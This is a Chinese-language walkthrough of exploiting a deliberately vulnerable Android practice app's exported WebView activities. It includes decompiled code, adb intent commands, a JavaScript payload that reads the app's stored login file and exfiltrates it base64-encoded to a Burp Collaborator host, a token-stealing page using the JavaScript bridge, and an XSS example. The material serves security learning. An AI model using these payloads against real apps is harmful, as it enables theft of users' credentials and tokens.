测试程序来源:
https://github.com/t4kemyh4nd/vulnwebview
可以直接下载app.apk进行测试
下载安装后打开长下面的样子,Username:vuln Password:webview
需要登录一下
WebView是Android类的扩展,允许将网页显示在Activity页面布局中,但是没有所有的Web浏览器的功能,如导航栏或者地址栏。默认只显示一个网页。
利用导出的WebView,可以进行WebView劫持,常见的就是开放重定向漏洞,利用条件webview所在的Activity需要是导出的
如何判断导出,有两种方式:
RegistrationWebView是显示导出的,MainActivity是intent filters导出的。
分析受害者代码:
RegistrationWebView
package com.tmh.vulnwebview;
import android.os.Bundle;
import android.util.Log;
import android.webkit.ConsoleMessage;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_registration_web_view);
setTitle("Registration page");
loadWebView();
}
private void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview);
webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
@Override // android.webkit.WebChromeClient
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
return true;
}
});
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
webView.getSettings().setJavaScriptEnabled(true);
if (getIntent().getExtras().getBoolean("is_reg", false)) {
webView.loadUrl("file:///android_asset/registration.html");
} else {
webView.loadUrl(getIntent().getStringExtra("reg_url"));
}
}
}
可以看到loadWebView方法获取传输过来的reg_url参数的值,直接在webview中加载,上面代码没有任何过滤可以直接用于开放重定向。
利用:
可以使用adb进行利用,传输参数打开恶意网页。
概念利用命令
adb shell am start -n componentname --es string "domain.com"
实际利用命令
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://attack.com"
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://www.baidu.com"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }
注意:上述方法仅在直接导出组件时才有效,不适用Intent filters导出的组件。
开启setAllowUniversalAccessFromFileURLs(可以访问文件),配合开启setJavaScriptEnabled(可以运行js脚本)选项,在加上导出的WebView,可以导致攻击者读取任意文件漏洞。
分析代码:
上面代码已经开启了选项
利用:
尝试读取本地文件存储的登录信息。使用Burp Collaborator client接收登录信息
susafu.html
<script>
var url='file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'//本地文件路径
function load(url){
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(xhr.readyState === 4){
fetch('https://bjyuns1ez806dh912ethipox4oafy4.burpcollaborator.net/?exfiltrated='+btoa(xhr.responseText));//发送 b64 encoded文件给攻击者
}
}
xhr.open('GET',url,true);
xhr.send('');
}
load(url)
</script>
用adb把sauafu.html移动到sd卡中
λ adb push sauafu.html /sdcard/
sauafu.html: 1 file pushed, 0 skipped. 1.0 MB/s (467 bytes in 0.000s)
尝试运行利用命令
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }
执行成功后会打开一个空页面,然后查看burp中接收的信息
然后burp collaborator成功收到请求,解密后就是登录信息
开发可以使用以下配置启用javascript
webView.getSettings().setJavaScriptEnabled(true);
添加下面配置会在网页的java script脚本和应用程序的客户端java代码之间创建接口。即,网页的javascript脚本可以访问原生的java代码并将代码注入到程序中。
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
如果当前的Activity是导出的并允许攻击者执行攻击,可能导致XSS和token盗取。
受害代码:
SupportWebView
package com.tmh.vulnwebview;
import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
/* loaded from: classes.dex */
public class SupportWebView extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_support_web_view);
setTitle("Support");
loadWebView();
}
public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}
public static String getUserToken() {
String uuid = UUID.randomUUID().toString();
return uuid;
}
}
上面代码可以看到已经启用javascript,还有定义的接口声明Android
WebAppInterface
package com.tmh.vulnwebview;
import android.content.Context;
import android.webkit.JavascriptInterface;
/* loaded from: classes.dex */
public class WebAppInterface {
Context mContext;
/* JADX INFO: Access modifiers changed from: package-private */
public WebAppInterface(Context c) {
this.mContext = c;
}
@JavascriptInterface
public String getUserToken() {
return SupportWebView.getUserToken();
}
}
接口的内容是获取usertoken
攻击代码:
token.html
<script type="text/javascript">
document.write("token:"+Android.getUserToken());
</script>
以上脚本是从Android接口调用getUserToken方法并写入token
本地启动web服务
python3 -m http.server 8888
可以使用下面链接访问token.html
http://192.168.1.4:8888/token.html
攻击命令:
adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "http://192.168.1.4:8888/token.html"
上面造成token获取
也可以进行xss攻击
<script type="text/javascript">
alert("kal")
</script>